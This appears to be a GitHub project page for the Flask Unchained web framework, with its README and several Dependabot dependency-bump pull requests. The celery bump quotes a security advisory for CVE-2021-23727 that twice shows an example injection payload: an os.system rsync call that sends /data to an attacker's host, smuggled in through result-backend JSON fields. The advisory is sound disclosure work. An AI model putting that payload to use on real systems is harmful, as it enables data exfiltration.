The quickest and easiest way to build large web apps and APIs with Flask

briancappello, updated 🕥 2023-02-16 05:47:02

Flask Unchained

The quickest and easiest way to build web apps and APIs with Flask

Flask Unchained is a Flask extension, a pluggable application factory, and a set of mostly optional "bundles" that together create a modern, fully integrated, and highly customizable web framework for Flask and its extension ecosystem. Flask Unchained aims to stay true to the spirit and API of Flask, while making it significantly easier to quickly build web apps and APIs with Python.

Flask Unchained introduces "bundles" to Flask: bundles are Python packages that integrate functionality with Flask, Flask Unchained, and other bundles. That could mean anything from integrating vanilla Flask extensions to being full-blown apps your app can integrate, customize, and extend (like say, a blog or web store). Unlike vanilla Flask extensions, bundles are both consistent and highly extensible and customizable. Once you figure out how something works in one bundle, it's the same in every other bundle. They are conceptually similar to Django's "apps", but I think you'll find bundles are even more powerful and flexible.

The architecture of how Flask Unchained and its bundles work is inspired by the Symfony Framework, which is awesome, aside from the fact that it isn't Python ;)

Features

  • easy to start with and even easier to quickly grow your app
  • clean, flexible, and declarative application structure that encourages good design patterns (no circular imports!)
  • no integration headaches between supported libraries: everything just works
  • as little boilerplate/plumbing as possible
  • out-of-the-box support for testing with pytest and factory_boy
  • improved class-based views (controllers and resources)
  • declarative routing (routes registered with the app can be decoupled from the defaults decorated on views)
  • dependency injection of services and extensions (into just about anything you can wrap with a decorator)
  • simple and consistent patterns for extending and/or overriding practically everything (e.g. configuration, views/controllers/resources, routes, templates, models, serializers, services, extensions, ...)
  • your customizations are easily distributable as a standalone bundle (Python package), which itself then supports the same patterns for customization, ad infinitum
  • out-of-the-box (mostly optional) integrations with:
  • SQLAlchemy and Flask-Migrate (database ORM and migrations, optional). SQLAlchemy Unchained builds some "sugar" on top of SQLAlchemy to make the best ORM in existence even quicker and easier to use:
    • models automatically get a primary key column, unless you define one yourself
    • models are (optionally) automatically timestamped when they are created and updated
    • super-simple polymorphic model class inheritance
    • a unified API for creating, querying, updating and deleting models with the ModelManager service base class
  • Flask-Login (user authentication and sessions management) and Flask-Principal (user authorization with permissions and roles)
    • both session and token authentication are currently supported
    • includes optional support for registration (with optional required email confirmation before account activation)
    • optional change password and forgot password functionality
  • Flask-Marshmallow (SQLAlchemy model serialization, optional)
    • the API Bundle provides a RESTful API framework integrating Marshmallow Serializers (aka Schemas) and SQLAlchemy models using ModelResource
    • work-in-progress support for OpenAPI (aka Swagger) docs, using ReDoc as the frontend
  • Flask-GraphQL (GraphQL support, integrates Graphene with SQLAlchemy, optional)
  • Flask-WTF (forms and CSRF protection, always enabled)
  • Flask-Session (server-side sessions, optional)
  • Celery (distributed task queue, optional)
  • Flask-Mail (email sending support, optional)
  • Flask-Admin (admin interface, optional)
  • Flask-BabelEx (translations, always enabled but optional)
  • pytest and factory_boy (testing framework)
  • You can use Flask Unchained as-is with its out-of-the-box "stack", or if you don't like those choices, then you can use a different set of Flask extensions. Flask Unchained is designed to be so flexible that you could even extend it to make your own works-out-of-the-box web framework for Flask.

What does it look like?

Hello World

A silly (more verbose than it needs to be) example looks about like this:

```python

project-root/app.py

import random from flask_unchained import FlaskUnchained, AppBundle, Service, injectable from flask_unchained import Controller, route, param_converter, url_for from flask_unchained.pytest import HtmlTestClient

BUNDLES = ['flask_unchained.bundles.controller']

class App(AppBundle): def before_init_app(self, app: FlaskUnchained) -> None: pass

def after_init_app(self, app: FlaskUnchained) -> None:
    pass

class RandomService(Service): def get_name(self) -> str: return random.choice(['Alice', 'Bob', 'Grace', 'Judy'])

class SiteController(Controller): class Meta: url_prefix = '/'

random_service: RandomService = injectable

@route('/')
@param_converter(name=str)
def index(self, name: str = None):
    name = name or self.random_service.get_name()
    return f'Hello {name} from Flask Unchained!'

class TestSiteController: def test_index(self, client: HtmlTestClient): r = client.get(url_for('site_controller.index', name='World')) assert r.status_code == 200 assert r.html == 'Hello World from Flask Unchained!' ```

You can run it like so:

bash pip install "flask-unchained[dev]" pytest app.py flask urls flask run

Going Big

A larger application structure might look about like this:

/home/user/dev/project-root ├── app # your app bundle package │ ├── admins # Flask-Admin model admins │ ├── commands # Click CLI groups/commands │ ├── extensions # vanilla Flask extensions │ ├── models # SQLAlchemy models │ ├── fixtures # SQLAlchemy model fixtures (for seeding the dev db) │ ├── serializers # Marshmallow serializers (aka schemas) │ ├── services # dependency-injectable services │ ├── tasks # Celery tasks │ ├── templates # Jinja2 templates │ ├── views # Controllers, Resources and views │ ├── __init__.py │ ├── config.py # app config │ └── routes.py # declarative routes ├── assets # static assets to be handled by Webpack │ ├── images │ ├── scripts │ └── styles ├── bundles # custom bundles and/or bundle extensions/overrides │ └── security # a customized/extended Security Bundle │ ├── models │ ├── serializers │ ├── services │ ├── templates │ └── __init__.py ├── db │ └── migrations # Alembic (SQLAlchemy) migrations (generated by Flask-Migrate) ├── static # static assets (Webpack compiles to here, and Flask │ # serves this folder at /static (by default)) ├── templates # the top-level templates folder ├── tests # your pytest tests ├── webpack # Webpack configs └── unchained_config.py # the Flask Unchained config

To learn how to build such an app, check out the official tutorial. (NOTE: The tutorial is still a work-in-progress.) You can also check out Flask Unchained React SPA

Documentation and Tutorial

The docs are on Read the Docs, as is the official tutorial.

NOTE: Some bundles are still a work-in-progress. Parts of the documentation need improvement or are missing. Some corners of the code are still alpha-quality. Things work for me, but there are probably a few bugs lurking, and some parts of the API are potentially subject to change.

Contributing

Contributions are more than welcome! This is a big project with a lot of different things that need doing. There's a TODO file in the project root, or if you've got an idea, open an issue or a PR and let's chat!

License

MIT

Issues

Bump werkzeug from 2.1.1 to 2.2.3

opened on 2023-02-16 05:47:01 by dependabot[bot]

Bumps werkzeug from 2.1.1 to 2.2.3.

Release notes

Sourced from werkzeug's releases.

2.2.3

This is a fix release for the 2.2.x release branch.

This release contains security fixes for:

2.2.2

This is a fix release for the 2.2.0 feature release.

2.2.1

This is a fix release for the 2.2.0 feature release.

2.2.0

This is a feature release, which includes new features and removes previously deprecated features. The 2.2.x branch is now the supported bugfix branch, the 2.1.x branch will become a tag marking the end of support for that branch. We encourage everyone to upgrade, and to use a tool such as pip-tools to pin all dependencies and control upgrades.

2.1.2

This is a fix release for the 2.1.0 feature release.

Changelog

Sourced from werkzeug's changelog.

Version 2.2.3

Released 2023-02-14

  • Ensure that URL rules using path converters will redirect with strict slashes when the trailing slash is missing. :issue:2533
  • Type signature for get_json specifies that return type is not optional when silent=False. :issue:2508
  • parse_content_range_header returns None for a value like bytes */-1 where the length is invalid, instead of raising an AssertionError. :issue:2531
  • Address remaining ResourceWarning related to the socket used by run_simple. Remove prepare_socket, which now happens when creating the server. :issue:2421
  • Update pre-existing headers for multipart/form-data requests with the test client. :issue:2549
  • Fix handling of header extended parameters such that they are no longer quoted. :issue:2529
  • LimitedStream.read works correctly when wrapping a stream that may not return the requested size in one read call. :issue:2558
  • A cookie header that starts with = is treated as an empty key and discarded, rather than stripping the leading ==.
  • Specify a maximum number of multipart parts, default 1000, after which a RequestEntityTooLarge exception is raised on parsing. This mitigates a DoS attack where a larger number of form/file parts would result in disproportionate resource use.

Version 2.2.2

Released 2022-08-08

  • Fix router to restore the 2.1 strict_slashes == False behaviour whereby leaf-requests match branch rules and vice versa. :pr:2489
  • Fix router to identify invalid rules rather than hang parsing them, and to correctly parse / within converter arguments. :pr:2489
  • Update subpackage imports in :mod:werkzeug.routing to use the import as syntax for explicitly re-exporting public attributes. :pr:2493
  • Parsing of some invalid header characters is more robust. :pr:2494
  • When starting the development server, a warning not to use it in a production deployment is always shown. :issue:2480
  • LocalProxy.__wrapped__ is always set to the wrapped object when the proxy is unbound, fixing an issue in doctest that would cause it to fail. :issue:2485
  • Address one ResourceWarning related to the socket used by run_simple. :issue:2421

... (truncated)

Commits
  • 22a254f release version 2.2.3
  • 517cac5 Merge pull request from GHSA-xg9f-g7g7-2323
  • babc8d9 rewrite docs about request data limits
  • 09449ee clean up docs
  • fe899d0 limit the maximum number of multipart form parts
  • cf275f4 Merge pull request from GHSA-px8h-6qxv-m22q
  • 8c2b4b8 don't strip leading = when parsing cookie
  • 7c7ce5c [pre-commit.ci] pre-commit autoupdate (#2585)
  • 19ae03e [pre-commit.ci] auto fixes from pre-commit.com hooks
  • a83d3b8 [pre-commit.ci] pre-commit autoupdate
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/briancappello/flask-unchained/network/alerts).

Bump ipython from 7.30.0 to 8.10.0

opened on 2023-02-11 00:24:00 by dependabot[bot]

Bumps ipython from 7.30.0 to 8.10.0.

Commits
  • 15ea1ed release 8.10.0
  • 560ad10 DOC: Update what's new for 8.10 (#13939)
  • 7557ade DOC: Update what's new for 8.10
  • 385d693 Merge pull request from GHSA-29gw-9793-fvw7
  • e548ee2 Swallow potential exceptions from showtraceback() (#13934)
  • 0694b08 MAINT: mock slowest test. (#13885)
  • 8655912 MAINT: mock slowest test.
  • a011765 Isolate the attack tests with setUp and tearDown methods
  • c7a9470 Add some regression tests for this change
  • fd34cf5 Swallow potential exceptions from showtraceback()
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/briancappello/flask-unchained/network/alerts).

Bump ipython from 7.24.1 to 8.10.0 in /flask_unchained/_code_templates/project

opened on 2023-02-10 23:52:32 by dependabot[bot]

Bumps ipython from 7.24.1 to 8.10.0.

Commits
  • 15ea1ed release 8.10.0
  • 560ad10 DOC: Update what's new for 8.10 (#13939)
  • 7557ade DOC: Update what's new for 8.10
  • 385d693 Merge pull request from GHSA-29gw-9793-fvw7
  • e548ee2 Swallow potential exceptions from showtraceback() (#13934)
  • 0694b08 MAINT: mock slowest test. (#13885)
  • 8655912 MAINT: mock slowest test.
  • a011765 Isolate the attack tests with setUp and tearDown methods
  • c7a9470 Add some regression tests for this change
  • fd34cf5 Swallow potential exceptions from showtraceback()
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/briancappello/flask-unchained/network/alerts).

Bump lxml from 4.8.0 to 4.9.1

opened on 2022-07-06 21:35:29 by dependabot[bot]

Bumps lxml from 4.8.0 to 4.9.1.

Changelog

Sourced from lxml's changelog.

4.9.1 (2022-07-01)

Bugs fixed

  • A crash was resolved when using iterwalk() (or canonicalize()) after parsing certain incorrect input. Note that iterwalk() can crash on valid input parsed with the same parser after failing to parse the incorrect input.

4.9.0 (2022-06-01)

Bugs fixed

  • GH#341: The mixin inheritance order in lxml.html was corrected. Patch by xmo-odoo.

Other changes

  • Built with Cython 0.29.30 to adapt to changes in Python 3.11 and 3.12.

  • Wheels include zlib 1.2.12, libxml2 2.9.14 and libxslt 1.1.35 (libxml2 2.9.12+ and libxslt 1.1.34 on Windows).

  • GH#343: Windows-AArch64 build support in Visual Studio. Patch by Steve Dower.

Commits
  • d01872c Prevent parse failure in new test from leaking into later test runs.
  • d65e632 Prepare release of lxml 4.9.1.
  • 86368e9 Fix a crash when incorrect parser input occurs together with usages of iterwa...
  • 50c2764 Delete unused Travis CI config and reference in docs (GH-345)
  • 8f0bf2d Try to speed up the musllinux AArch64 build by splitting the different CPytho...
  • b9f7074 Remove debug print from test.
  • b224e0f Try to install 'xz' in wheel builds, if available, since it's now needed to e...
  • 897ebfa Update macOS deployment target version from 10.14 to 10.15 since 10.14 starts...
  • 853c9e9 Prepare release of 4.9.0.
  • d3f77e6 Add a test for https://bugs.launchpad.net/lxml/+bug/1965070 leaving out the a...
  • Additional commits viewable in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/briancappello/flask-unchained/network/alerts).

Bump celery from 5.2.1 to 5.2.2

opened on 2022-01-06 22:26:17 by dependabot[bot]

Bumps celery from 5.2.1 to 5.2.2.

Release notes

Sourced from celery's releases.

5.2.2

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

    {
          "exc_module": "os",
          'exc_type': "system",
          "exc_message": "rsync /data [email protected]:~/data"
    }
    

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

Changelog

Sourced from celery's changelog.

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

  • Various documentation fixes.

  • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

    .. code-block:: python

      {
            "exc_module": "os",
            'exc_type': "system",
            "exc_message": "rsync /data [email protected]:~/data"
      }
    

    According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

.. _version-5.2.1:

Commits
  • b21c13d Bump version: 5.2.1 → 5.2.2
  • a60b486 Add changelog for 5.2.2.
  • 3e5d630 Fix changelog formatting.
  • 1f7ad7e Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).
  • 2d8dbc2 Update configuration.rst
  • 9596aba Fix typo in documentation
  • 639ad83 update doc to reflect Celery 5.2.x (#7153)
  • See full diff in compare view


Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/briancappello/flask-unchained/network/alerts).

Possible switch from venv to pipenv

opened on 2019-11-21 04:33:26 by HeathNaylor

In my experience, I have found it easier to both work with and teach pipenv over venv, would you be open to switching to that? I am looking to implement dotenv but don't want to double up on work if I can help it.

python3 web framework